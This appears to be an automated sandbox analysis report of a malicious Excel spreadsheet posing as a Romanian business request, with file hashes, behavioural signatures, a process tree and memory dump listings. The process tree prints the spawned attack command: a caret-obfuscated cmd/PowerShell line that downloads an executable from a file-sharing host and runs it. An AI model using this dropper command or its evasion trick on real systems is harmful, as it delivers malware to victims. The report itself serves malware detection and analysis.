Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    18-09-2023 15:11

General

  • Target

    Romania_Request_Imun_SRL_09_2023.xls

  • Size

    100KB

  • MD5

    d8c96466da14e352c8a11c86a61200fa

  • SHA1

    738380f30ec9f2448875dd97759bf49aa292cf46

  • SHA256

    896dd0f8a116edbf4f54be7fac310410467043ecbd86b2d4d66089f14bde6d01

  • SHA512

    d81aafbea2392976e331e00ca0cd5c4054f7aab57a640af8a15c6143846c828c0235f34a94721313dec400a8b0724111ed647865846971d33ccca7a57bf5f70c

  • SSDEEP

    3072:0rxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9tJE2zuxq+fr9wBLa71ba2ryLTHeY+:axEtjPOtioVjDGUU1qfDlavx+W2QnAnF

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Romania_Request_Imun_SRL_09_2023.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/qyAOUa1rJz/Betro.e^xe -o C:\Users\Public\l6hv4.exe;C:\Users\Public\l6hv4.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell /W 01 curl https://transfer.sh/get/qyAOUa1rJz/Betro.exe -o C:\Users\Public\l6hv4.exe;C:\Users\Public\l6hv4.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2824

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2276-11-0x0000000071DFD000-0x0000000071E08000-memory.dmp
    Filesize

    44KB

  • memory/2276-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/2276-2-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/2276-3-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/2276-4-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/2276-15-0x0000000071DFD000-0x0000000071E08000-memory.dmp
    Filesize

    44KB

  • memory/2276-1-0x0000000071DFD000-0x0000000071E08000-memory.dmp
    Filesize

    44KB

  • memory/2276-14-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/2276-13-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/2824-7-0x000000006B8E0000-0x000000006BE8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2824-10-0x0000000002540000-0x0000000002580000-memory.dmp
    Filesize

    256KB

  • memory/2824-12-0x000000006B8E0000-0x000000006BE8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2824-9-0x0000000002540000-0x0000000002580000-memory.dmp
    Filesize

    256KB

  • memory/2824-8-0x000000006B8E0000-0x000000006BE8B000-memory.dmp
    Filesize

    5.7MB